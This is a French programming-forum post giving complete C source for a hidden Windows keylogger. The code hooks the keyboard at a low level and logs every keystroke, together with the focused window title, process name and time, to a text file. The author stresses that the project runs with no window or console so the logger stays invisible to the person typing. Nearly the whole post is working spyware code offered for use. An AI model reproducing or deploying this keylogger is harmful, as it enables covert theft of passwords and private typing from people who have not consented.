Keylogger avec nom du processus et de la fenetre qui a le focus

Description

j'ai repris le code du keylogger sans dll de kerneltony95.
merci a lui d'ailleurs.
le nom du processus ainsi que le nom de la fenetre qui a le focus pendant la saisie
j'ai rajouter l'heure ou la saisie a ete effectuer et le tout inscrit dans un fichier txt.
Dans le projet code::blocks donne dans le zip il n'y a pas de fenêtre ni console pour que le keylogger soit invisible(sinon je vois pas a quoi sert un keylogger)

Source / Exemple :


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <psapi.h>
#include <time.h>
#define CHEMINDULOG "log.txt"//constante ou est stoquer le chemin du fichier log

// Global instance du hook
HHOOK hKeyHook;
HWND AncienHandle;
FILE *log;
tm DonneHeure();//recupere l'heure systeme, renvoie une structre de type tm
bool Erreur=false;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam )
{
    tm Heure;

    // Action du clavier et les touches tappées
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    {

        // conversion du code -> ascii
        BYTE KeyState[256];
        WORD wBuf;
        char ch;
        char NomProcess[1024];
        char NomFenetre[1024];

        DWORD lpdwProcessId;
        HANDLE PID;

        // Structure pour récupération des informations
        KBDLLHOOKSTRUCT hooked =  *((KBDLLHOOKSTRUCT*)lParam);

        /* Traitement récupération dec codes des touches */

        // Etat du clavier
        GetKeyboardState(KeyState);

        // Conversion code > ascii
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);

        //on rajoute les touches non traitées par le hook
        switch (hooked.vkCode)
        {

        case 9 :
        {

            fprintf(log,"<TAB>");

            break;
        }
        case 13 :
        {

            fprintf(log,"\n");
            AncienHandle=0;
            break;
        }
        case VK_BACK :
        {

            fprintf(log,"<DEL>");

            break;
        }
        case VK_DELETE:
        {

            fprintf(log,"<Suppr>");

            break;
        }

        /* vous pouvez rajouter vos traitements perso ici ! */

        default :   // on affiche les touches tappées
        {
            ch=((char)wBuf);
            HWND Handle=GetForegroundWindow();//on recupere le handle de la fenetre qui a le focus

            if (Handle!=AncienHandle)//si le handle est different du dernier alors on a changer de fenetre
            {
                fclose(log);//on ferme le log pour que les donnee soient reelement ecrite dedans
                log=fopen(CHEMINDULOG,"a+");//on le réouvre(je sais c'estun peu barbare)
                if (log!=NULL)
                {
                    NomProcess[0]='\n';//on met en premiere caractere un retour chariot pour qu'il y est bien retour a la ligne avaant d'ecrire la nouvelle ligne
                    NomFenetre[0]='\0';//pour s'assurer de ne pas ecrire autre chose.
                    Heure=DonneHeure();//on recup l'heure
                    fprintf(log,"\n%d:%d:%d:    ",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);//on l'ecrit
                    GetWindowThreadProcessId(Handle,&lpdwProcessId);//on recupere l'id du thread d'apres son handle
                    PID=OpenProcess(PROCESS_ALL_ACCESS,false,lpdwProcessId);//on recupere le PID du processus auquel apartient le thread ci-dessus
                    if (PID!=NULL)
                    {
                        GetModuleBaseName(PID,NULL,NomProcess,sizeof NomProcess);//on recupere le nom du processus d'apres son PID
                    }
                    else
                    {
                        strcat(NomProcess,"<Inconnu>");//si cela a echoue on met inconnu
                    }

                    NomFenetre[0]='\0';
                    GetWindowText(Handle,NomFenetre,sizeof NomFenetre);//ici on recupere le nom de la fenetre
                    strcat(NomProcess,">");
                    strcat(NomProcess,NomFenetre);
                    strcat(NomProcess,":   ");
                    fprintf(log,"%s",NomProcess);//on ecrit le tout

                    AncienHandle=Handle;//on met a jour le nouveau handle pour le comparer au prochaine
                }
                else
                {
                    Erreur=true;
                    return 0;
                }

            }
            fprintf(log,"%c",ch);//on ecrit le caractere qui a ete saisie au clavier
            break;
        }

        }

    }
    // Renvoi des messages au sytème
    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}

// Boucle des messages
void MsgLoop()
{
    MSG message;
    while ((GetMessage(&message,NULL,0,0))&&(Erreur!=true))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    // Récuperation de l'instance de notre executable
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) return 1;

    // on demarre le hook
    hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, 0);
    tm Heure=DonneHeure();

    if (hKeyHook==NULL)
    {
        fprintf(log,"\n[le hook clavier a plante a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
        Erreur=true;
    }
    else
    {
        fprintf(log,"\n[La surveillance a demarre a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
    }

    // Boucle des messages
    MsgLoop();

    // on desactive le hook
    Heure=DonneHeure();
    if (UnhookWindowsHookEx(hKeyHook)==0)
    {
        fprintf(log,"\n[desactivation du Hook echoue a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
    }
    else
    {
        fprintf(log,"\n[Desactivation du hook a ");
        fprintf(log,"%d:%d:%d]",Heure.tm_hour,Heure.tm_min,Heure.tm_sec);
    }

    return 0;
}

int main(int argc, char *argv[])
{
    // initialisation des options pour la fonction CreateThread
    HANDLE hThread;
    DWORD dwThread;
    log=fopen(CHEMINDULOG,"r");
    if (log==NULL)
    {
        log=fopen(CHEMINDULOG,"a+");
        fprintf(log,"\t\t\t[keylogger clavier]\n");

        if (log==NULL)
        {
            Erreur=true;
            return 1;
        }
    }

    // on crée le thread qui va démarrer le hook
    hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, 0, &dwThread);

    if (hThread)
    {
        // Attente à l'infini
        return WaitForSingleObject(hThread,INFINITE);
    }
    else
    {
        return 0;
    }
    fclose(log);

}

tm DonneHeure()
{
    time_t Timer;
    time(&Timer);
    struct tm *Heure;
    Heure = localtime(&Timer);
    return *Heure;
}

Conclusion :


j'ai juste rajouter se qui me semble important dans un keylogger a savoir le nom de la fenêtre et du processus qui a reçu la saisie au clavier car par exemple le toys n'a pas la même signification sur un site pour enfant que sur un site pour adulte lol.
Pour se qui est du fait de fermer et de réouvrir juste après c'est le seul moyen que j'ai trouver pour que les info soit réellement écrit dans le log sans attendre la fin du programme (avec le fclose(log));

Sur ceux je suis ouvert a toute remarque constructive.

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.